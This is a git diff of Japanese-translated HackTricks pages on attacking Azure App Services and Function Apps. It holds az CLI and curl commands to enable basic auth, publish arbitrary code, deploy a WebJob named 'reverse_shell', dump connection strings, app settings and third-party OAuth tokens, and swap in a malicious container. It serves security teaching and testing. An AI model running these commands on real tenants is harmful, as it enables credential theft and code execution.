enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): +> すべてのユーザーは前のコマンドを呼び出すことで自分の資格情報を設定できますが、ユーザーがSCMまたはFTPにアクセスするための十分な権限を持っていない場合、資格情報は機能しません。 +- これらの資格情報が**REDACTED**と表示される場合、それは**SCM基本認証オプションを有効にする必要がある**ためで、そのためには2番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)が必要です: ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' ``` +### SCM資格情報を使用してコードを公開する -### Publish code using SCM credentials +有効なSCM資格情報があれば、**コードを公開**することが可能です。これは次のコマンドを使用して行うことができます。 -Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command. - -For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**. - -Then you can **publish the code** in a web app with the following command: +このPythonの例では、https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart からリポジトリをダウンロードし、任意の**変更**を加えた後、**`zip -r app.zip .`**を実行して圧縮します。 +次に、次のコマンドを使用してWebアプリに**コードを公開**できます: ```bash curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" ``` - ### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials -The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials: - -- Read **Webjobs** logs: +言及されたAzureの権限は、SCM資格情報を使用しても実行できるいくつかの興味深いアクションを実行することを許可します: +- **Webjobs**ログを読む: ```bash # Using Azure credentials az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" @@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az # Using SCM username and password: curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ - --user ':' -v +--user ':' -v ``` - -- Read **Webjobs** source code: - +- **Webjobs**のソースコードを読む: ```bash # Using SCM username and password: # Find all the webjobs inside: curl "/wwwroot/App_Data/jobs/" \ - --user ':' +--user ':' # e.g. curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ - --user ':' +--user ':' ``` - -- Create **continuous Webjob**: - +- **継続的なWebjob**を作成する: ```bash # Using Azure permissions az rest \ - --method put \ - --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ - --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ - --body "@/Users/username/Downloads/rev.js" \ - --resource "https://management.azure.com/" +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" # Using SCM credentials curl -X PUT \ - "/api/Continuouswebjobs/reverse_shell2" \ - -H 'Content-Disposition: attachment; filename=rev.js' \ - --data-binary "@/Users/carlospolop/Downloads/rev.js" \ - --user ':' +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' ``` - ### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action -These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them. - +これらの権限は、**マネージドアイデンティティ**をAppサービスに割り当てることを可能にします。したがって、Appサービスが以前に侵害されていた場合、攻撃者は新しいマネージドアイデンティティをAppサービスに割り当て、**特権を昇格**させることができます。 ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials. - +この権限は、データベースの資格情報などの機密情報を含む可能性があるAppサービスの**接続文字列**と**アプリ設定**をリストすることを許可します。 ```bash az webapp config connection-string list --name --resource-group az webapp config appsettings list --name --resource-group ``` +### 設定されたサードパーティの資格情報を読み取る -### Read Configured Third Party Credentials - -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。 ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。 -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +ここにトークンを確認するためのいくつかのコマンド例があります: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` +### アプリコードのソースからの更新 -### Update App Code from the source - -- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository. -- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` - - Using the permission **`Microsoft.Web/sites/config/list/action`**: - - `az webapp deployment list-publishing-credentials --name --resource-group ` - - `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name --resource-group `, but it's going to be the same as the the SCM URL of the app with the path `/.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). - - To get the SCM credential you need the permission: - - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group -n `. - - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name --resource-group ` +- 設定されたソースがGithub、BitBucket、またはAzureリポジトリのようなサードパーティプロバイダーである場合、リポジトリ内のソースコードを侵害することでアプリサービスの**コードを更新**できます。 +- アプリが**リモートgitリポジトリ**(ユーザー名とパスワードを使用)を使用するように設定されている場合、次のコマンドを使用して**URLと基本認証情報**を取得し、変更をクローンおよびプッシュすることが可能です: +- 権限**`Microsoft.Web/sites/sourcecontrols/read`**を使用: `az webapp deployment source show --name --resource-group ` +- 権限**`Microsoft.Web/sites/config/list/action`**を使用: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- アプリが**ローカルgitリポジトリ**を使用するように設定されている場合、リポジトリを**クローン**し、変更を**プッシュ**することが可能です: +- 権限**`Microsoft.Web/sites/sourcecontrols/read`**を使用: `az webapp deployment source show --name --resource-group `を使用してgitリポジトリのURLを取得できますが、アプリのSCM URLと同じで、パスは`/.git`になります(例: `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)。 +- SCM資格情報を取得するには、次の権限が必要です: +- **`Microsoft.Web/sites/publishxml/action`**:次に、`az webapp deployment list-publishing-profiles --resource-group -n `を実行します。 +- **`Microsoft.Web/sites/config/list/action`**:次に、`az webapp deployment list-publishing-credentials --name --resource-group `を実行します。 > [!WARNING] -> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section. +> 権限`Microsoft.Web/sites/config/list/action`とSCM資格情報を持っている場合、前のセクションで述べたように、サードパーティプロバイダーを使用するように設定されていても、ウェブアプリにデプロイすることが常に可能であることに注意してください。 > [!WARNING] -> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently. +> 以下の権限を持っている場合、ウェブアプリが異なる設定であっても**任意のコンテナを実行することが可能**です。 ### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` -This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container. - +これは、ウェブアプリで使用される**コンテナを変更する**ことを許可する権限のセットです。攻撃者はこれを悪用して、ウェブアプリに悪意のあるコンテナを実行させることができます。 ```bash az webapp config container set \ - --name \ - --resource-group \ - --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index ef9302e90..e97980fac 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -4,55 +4,56 @@ ## App Service Basic Information -Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、展開、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。 +Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、デプロイ、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。 各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します: -- FreeおよびSharedティアのアプリは**共有VM**上で実行されます。 -- StandardおよびPremiumティアのアプリは**同じApp Serviceプラン内のアプリのみが共有する専用VM**上で実行されます。 -- Isolatedティアは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が向上します。 +- 無料および共有プランのアプリは**共有VM**上で実行されます。 +- スタンダードおよびプレミアムプランのアプリは**同じApp Serviceプラン内のアプリのみが共有する専用VM**上で実行されます。 +- アイソレーテッドプランは**専用の仮想ネットワーク上の専用VM**で実行され、アプリの隔離が向上します。 > [!WARNING] -> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用される場合、それに**権限を昇格させる**ことができる可能性があります。 +> これらの隔離は**他の一般的なウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用されている場合、**特権を昇格させる**ことができる可能性があります。 アプリにはいくつかの興味深い設定があります: -- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ状態の後に停止し、リクエストが受信されると再起動します。 -- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止するため、これは重要です。 +- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ後に停止し、リクエストを受け取ると再起動します。 +- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止します。 - **SSH**: 有効にすると、十分な権限を持つユーザーがSSHを使用してアプリに接続できます。 - **デバッグ**: 有効にすると、十分な権限を持つユーザーがアプリをデバッグできます。ただし、これは48時間ごとに自動的に無効になります。 - **Web App + Database**: ウェブコンソールを使用してデータベースを持つアプリを作成できます。この場合、使用するデータベース(SQLAzure、PostgreSQL、MySQL、MongoDB)を選択でき、Azure Cache for Redisを作成することもできます。 - データベースとRedisの資格情報を含むURLは、**appsettings**に保存されます。 - **コンテナ**: コンテナのURLとアクセスするための資格情報を指定することで、App Serviceにコンテナをデプロイできます。 - **マウント**: Azure Blob(読み取り専用)またはAzure Filesから5つのマウントを作成できます。設定はストレージアカウントのアクセスキーを保存します。 +- **ネットワーキング**: 公開可能またはVNetからのプライベートエンドポイントのみがアクセス可能です。 ## Basic Authentication -ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCM(ソースコントロールマネージャー)およびFTP(ファイル転送プロトコル)**を有効にすることを意味し、これらの技術を使用してアプリケーションを展開できるようになります。 +ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にする**かどうかを指定できます(デフォルトでは無効)。これは基本的に**SCM(ソースコントロールマネージャー)およびFTP(ファイル転送プロトコル)**をアプリケーションに対して有効にするため、これらの技術を使用してアプリケーションをデプロイできるようになります。 -SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供します**。 +SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供**しています。 -**FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば、接続してアプリ環境に対する読み取りおよび書き込み権限を取得できます。 +**FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば接続し、アプリ環境に対する読み取りおよび書き込み権限を取得できます。 SCM -`https:///BasicAuth`を使用してSCMに接続し、そこにあるすべてのファイルとデプロイメントを確認できます。 +`https:///BasicAuth`を使用してウェブブラウザからSCMに接続し、そこにあるすべてのファイルとデプロイメントを確認できます。 ### Kudu -Kuduは、**SCMとウェブおよびAPIインターフェースの両方を管理**するプラットフォームで、App Serviceを管理し、Gitベースのデプロイメント、リモートデバッグ、およびファイル管理機能を提供します。ウェブアプリで定義されたSCM URLを通じてアクセスできます。 +Kuduは、**SCMとウェブおよびAPIインターフェースの両方を管理**し、アプリサービスを管理するためのGitベースのデプロイメント、リモートデバッグ、およびファイル管理機能を提供するプラットフォームです。ウェブアプリで定義されたSCM URLを通じてアクセスできます。 -App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。 +KuduのバージョンはApp ServicesとFunction Appsで異なり、Function Appsのバージョンははるかに制限されています。 Kuduで見つけることができるいくつかの興味深いエンドポイントは次のとおりです: - `/BasicAuth`: Kuduに**ログインするためにこのパスにアクセスする必要があります**。 - `/DebugConsole`: Kuduが実行されている環境でコマンドを実行できるコンソールです。 -- この環境は**メタデータサービスにアクセスできません**。 +- この環境は**トークンを取得するためのメタデータサービスにアクセスできません**。 - `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアントです。 -- この環境は、割り当てられた管理アイデンティティからトークンを取得するために**メタデータサービスにアクセスできます**。 +- この環境は**割り当てられた管理アイデンティティからトークンを取得するためのメタデータサービスにアクセスできます**。 - `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。 - `/wwwroot/`: ウェブアプリのルートディレクトリです。ここからすべてのファイルをダウンロードできます。 -さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いKuduを比較すると、**すでにいくつかのことが変更されている**ことがわかります。 +さらに、Kuduは[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いものを比較すると、**すでにいくつかのことが変更されている**ことがわかります。 ## Sources @@ -70,24 +71,24 @@ App Servicesは、デフォルトでコードをzipファイルとしてアッ ## Webjobs -Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約型の操作を簡単に処理できます。 +Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約的な操作を簡単に処理できます。 ウェブジョブには2種類あります: -- **継続的**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。 -- **トリガー**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。 +- **継続的**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受け取っていない場合、アプリが停止するとウェブジョブも停止します。 +- **トリガー**: 要求に応じてまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。 -ウェブジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格**させるために使用できるため、攻撃者の視点から非常に興味深いです。 +ウェブジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**特権を昇格**させるために使用できるため、攻撃者の視点から非常に興味深いです。 さらに、ウェブジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。 ## Slots -Azure App Service Slotsは、**同じApp Serviceに異なるバージョンのアプリケーションをデプロイするために使用されます**。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。 +Azure App Service Slotsは、**同じApp Serviceに異なるバージョンのアプリケーションをデプロイする**ために使用されます。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。 さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これはA/Bテストや**バックドア目的**に便利です。 ## Azure Function Apps -基本的に**Azure Function appsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function appsもそこにリストされているのが見えます**。 +基本的に**Azure Function appsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリストするか、az cliで`az webapp list`を実行すると、**Function appsもそこにリストされているのが見えます**。 したがって、両方のサービスは実際にはほとんど**同じ設定、機能、およびaz cliのオプションを持っています**が、アプリ設定のデフォルト値やFunction appsでのストレージアカウントの使用など、少し異なる方法で構成される場合があります。 @@ -176,6 +177,10 @@ az webapp conection list --name --resource-group # Get hybrid-connections of a webapp az webapp hybrid-connections list --name --resource-group + +# Get configured SMC users by your account +az webapp deployment user show +## If any user is created, the username should appear in the "publishingUserName" field ``` {{#endtab }} @@ -283,10 +288,10 @@ cd msdocs-python-flask-webapp-quickstart # Create webapp from this code az webapp up --runtime PYTHON:3.9 --sku B1 --logs ``` -SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 +SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`を見ることができます。 > [!TIP] -> FTP経由で接続し、ファイル`output.tar.gz`を変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 +> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 **攻撃者はこのファイルをダウンロードし、変更して再アップロードすることで、ウェブアプリで任意のコードを実行することができます。** @@ -298,10 +303,10 @@ SCMポータルにログインするか、FTP経由でログインすると、`/ 2. Azureで新しいPython Web Appを作成します。 3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。 -前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 +前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`を見ることができます。 > [!TIP] -> FTP経由で接続し、ファイル`output.tar.gz`を変更してデプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 +> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 ## 特権昇格 diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 6eda0c0d2..16ce51da5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,33 +4,33 @@ ## 基本情報 -**Azure Function Apps** は **サーバーレスコンピューティングサービス** で、基盤となるインフラを管理することなく、**関数** と呼ばれる小さなコードの断片を実行できます。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント** など、さまざまなトリガーに応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。 +**Azure Function Apps** は **サーバーレスコンピューティングサービス** で、基盤となるインフラを管理することなく、**関数**と呼ばれる小さなコードの断片を実行できます。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**など、さまざまなトリガーに応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピュート時間に対してのみ支払うため、コスト効率が高いです。 > [!NOTE] -> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure Apps(CLIでは`webapp`)として作成されたアプリケーションでも使用されます。 +> **FunctionsはApp Servicesのサブセット**であるため、ここで説明する多くの機能はAzure Apps(CLIでは`webapp`)として作成されたアプリケーションでも使用されます。 ### 異なるプラン - **Flex Consumption Plan**: **動的でイベント駆動型のスケーリング**を提供し、需要に応じて関数インスタンスを追加または削除する従量課金制です。**仮想ネットワーキング**と**事前プロビジョニングされたインスタンス**をサポートし、コールドスタートを減少させ、コンテナサポートを必要としない**変動するワークロード**に適しています。 -- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、**関数が実行されるときのみコンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。 -- **Premium Plan**: **一貫したパフォーマンス**を提供するように設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を備えています。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。 -- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピューティングの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当てを必要とする**長時間実行されるアプリケーション**に最適です。 -- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイでき、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化されたアプリケーション**に最適です。 +- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、関数が実行されるときにのみ**コンピュートリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。 +- **Premium Plan**: **一貫したパフォーマンス**のために設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を提供します。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。 +- **Dedicated Plan**: 専用の仮想マシン上で実行され、**予測可能な請求**を提供し、手動または自動スケーリングをサポートします。同じプランで複数のアプリを実行でき、**コンピュートの隔離**を提供し、App Service Environmentsを介して**安全なネットワークアクセス**を確保し、一貫したリソース割り当てを必要とする**長時間実行されるアプリケーション**に最適です。 +- **Container Apps**: **コンテナ化された関数アプリ**を管理された環境でデプロイでき、マイクロサービスやAPIと共に使用できます。カスタムライブラリ、レガシーアプリの移行、**GPU処理**をサポートし、Kubernetesクラスターの管理を排除します。**イベント駆動型でスケーラブルなコンテナ化アプリケーション**に最適です。 ### **ストレージバケット** -新しいFunction Appをコンテナ化せずに作成する場合(実行するコードを提供する場合)、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。 +新しいFunction Appをコンテナ化せずに作成する際、**コードとその他のFunction関連データはストレージアカウントに保存されます**。デフォルトでは、Webコンソールはコードを保存するために関数ごとに新しいものを作成します。 さらに、バケット内のコードを変更すると(保存されるさまざまな形式で)、**アプリのコードは新しいものに変更され、次回Functionが呼び出されると実行されます**。 > [!CAUTION] -> これは攻撃者の視点から非常に興味深いもので、**このバケットに対する書き込みアクセス**があれば、攻撃者は**コードを妥協し、Function App内の管理されたIDの権限を昇格させる**ことができます。 +> これは攻撃者の視点から非常に興味深いものであり、**このバケットへの書き込みアクセス**があれば、攻撃者は**コードを妥協し、Function App内の管理されたIDの権限を昇格させる**ことができます。 > > これについては**権限昇格セクション**で詳しく説明します。 -ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に保存されている**マスターキーと関数キー**を見つけることも可能です。これは **``** フォルダ内のJSONファイルにあります。 +ストレージアカウント内のコンテナ**`azure-webjobs-secrets`**に保存されている**マスターキーと関数キー**を見つけることも可能です。これは**``**フォルダ内のJSONファイルにあります。 -Functionsは、リモートロケーションにコードを保存することも可能で、URLを指定するだけで済みます。 +Functionsは、リモートの場所にコードを保存することも可能で、そのURLを指定するだけです。 ### ネットワーキング @@ -40,43 +40,45 @@ HTTPトリガーを使用する場合: - **内部ネットワーク(VPC)**からFunction Appへのアクセスを**提供または制限**することも可能です。 > [!CAUTION] -> これは攻撃者の視点から非常に興味深いもので、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。 +> これは攻撃者の視点から非常に興味深いものであり、インターネットに公開された脆弱なFunctionから**内部ネットワークにピボットする**ことが可能かもしれません。 ### **Function Appの設定と環境変数** -アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数 **`AzureWebJobsStorage`** と **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。 +アプリ内で環境変数を設定することが可能で、これには機密情報が含まれる場合があります。さらに、デフォルトで環境変数**`AzureWebJobsStorage`**と**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(他にもいくつか)が作成されます。これらは特に興味深いもので、**アプリケーションのデータを含むストレージアカウントを完全に制御するためのアカウントキーを含んでいます**。これらの設定は、ストレージアカウントからコードを実行するためにも必要です。 -これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`** が存在する場合、アプリケーションのコードがあるURLを示します。 +これらの環境変数や設定パラメータは、Functionがコードを実行する方法も制御します。たとえば、**`WEBSITE_RUN_FROM_PACKAGE`**が存在する場合、アプリケーションのコードがあるURLを示します。 ### **Function Sandbox** -Linuxサンドボックス内では、ソースコードは **`/home/site/wwwroot`** にあり、ファイル **`function_app.py`** 